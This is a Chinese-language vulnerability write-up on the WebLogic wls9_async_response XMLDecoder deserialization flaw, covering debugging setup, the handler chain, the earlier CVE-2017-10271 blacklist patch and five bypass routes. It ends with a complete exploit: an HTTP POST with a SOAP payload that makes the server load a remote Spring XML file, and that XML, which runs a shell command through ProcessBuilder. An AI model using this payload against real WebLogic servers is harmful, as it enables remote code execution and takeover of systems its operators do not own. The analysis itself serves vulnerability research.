Weblogic wls9_async_response 反序列化

概述

最近爆出了weblogic漏洞,有表哥在推特上发布了poc截图,不过对部分位置进行了模糊化处理,而那些位置正是漏洞触发的必要字符串。

5d5974754b93b0df3237f7ee92d49271.png

远程调试

  1. startWebLogic.sh中加入
1
2
JAVA_OPTIONS="${JAVA_OPTIONS} -Xdebug -Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=8453"
`

f7502282454b53b6816833d38e296afb.png

  1. idea 进行remote调试

343bfb5ba793c157e07fd0dc7aa18d5a.png

漏洞分析

结合CNVD的漏洞通报,说是_async里的wls9_async_response的war包存在漏洞,那么直接反编译看这个war包即可。由于Weblogic并非开源项目,为了分析执行流,需要对weblogic.jar进行反编译。这里我使用jd.gui.exe进行反编译。

看了下web.xml,以下三处url均指向

weblogic.wsee.async.AsyncResponseBean

1
2
3
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms

于是打开其中一个url:http://192.168.111.191:7001//_async/AsyncResponseService

17611b0dff16c8856f549eea6faa00d7.png

走的是soap,便用soapui发包看一下一般的格式:

258db0d68351cde57c32a315916ca159.png

与推特上的图格式基本一致,只是还缺少部分内容。

回头继续看AsyncResponseBean内容,AsyncResponseBean中仅有2个函数。

671975df1eb331554e61ab2587ff9f19.png

往上看父类AbstractAsyncResponseBean的内容,发现onAsyncDelivery()调用这类函数。

再往上就没了,emmm… 有点懵,由于不了解weblogic整个的逻辑处理流程。

就决定顺着来找找,经过分析,发现与HandlerIterator.java有关

下断点看看

此处依次循环调用21个的handler:

4b547dae6c8ec1bf0b65d1a61dd0388f.png

f4f4aca4c7068702e8fd4cb1b491fabf.png

此处与此次POC相关的为

1
2
3
AddressingHandler
AsyncResponseHandler
WorkAreaHandler

前2个handler主要是检查此次poc数据包的大致格式需包含如下属性以及标签:

  1. 属性:
1
2
3
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
  1. soapenv:Header 中的标签
1
2
<wsa:Action>aa</wsa:Action>
<wsa:RelatesTo>bb</wsa:RelatesTo>
  1. soapenv:Body中的标签
1
<asy:onAsyncDelivery/>

而最后1个WorkAreaHandler的调用链如下:

4863214ca316d9efc1d7e4cca22bf481.png

41ee6fa6f7a079d9ef6bb9798532e142.png

WorkContextXmlInputAdapter.java中,没有任何过滤就直接调用XMLDecoder方法,而XMLDecoder本身是用于将XML文件反序列成java的对象,因而造成的漏洞的发生。

aa92ac44ec47ced58876c5fcbef264cb.png

所以poc主体需要的格式基本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>aa</wsa:Action>
<wsa:RelatesTo>bb</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
这里写 XmlDecode POC
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>

后续跟进

针对上面的PoC,官方的10271的补丁,补丁如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass &lt; attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null &amp;&amp; !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}

绕过

本质上这个漏洞与CVE-2017-10271漏洞触发点相同,都是WorkContextXmlInputAdapter.java 里的XmlDecoder方法导致的,只是入口不一样而已。

去年官方的补丁早已增加了黑名单的限制,
分别对 Object new method void进行了判断,进行了防护。

根据大佬的说法,有多种绕过方式:

  1. UnitOfWorkChangeSet二次反序列化通过7u21 gadget触发rce
  2. UnitOfWorkChangeSet二次反序列化通过JtaTransactionManager实现jndi注入
  3. JdbcRowSetImpl实现jndi注入(需要绕过)
  4. EventData这个类构造函数,二次xmldecoder导致RCE
  5. FileSystemXmlApplicationContext spel表达式注入这个类实现RCE

其中exp影响也是递增的:
第一个Poc只能用于10.3.6版本(服务器环境必须是7u21)。
第二个poc能用于10.3.6,(jdk版本在1.8版本以下)。
第三个poc只能用于12.1.3,(jdk 1.7及以上)
第四个poc只能用于12.1.3,不用外连服务器(jdk不受限制)。
第五个poc则可通杀10.3.6和12.1.3版本(jdk版本不受限制)

最后一个通杀POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.111.191:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Content-Type: text/xml
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: ADMINCONSOLESESSION=bMbpcCdTfs7Lq0LtZxQyzxhc2YQH24MZvgLJx2yplWbdFjh0Ddy1!530003204
Connection: close
Content-Length: 661
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string>
<void><string>远程XML文件</string></void>
</class></java>
</work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>sh</value>
<value>-c</value>
<value><![CDATA[
执行的命令
]]></value>
</list>
</constructor-arg>
</bean>
</beans>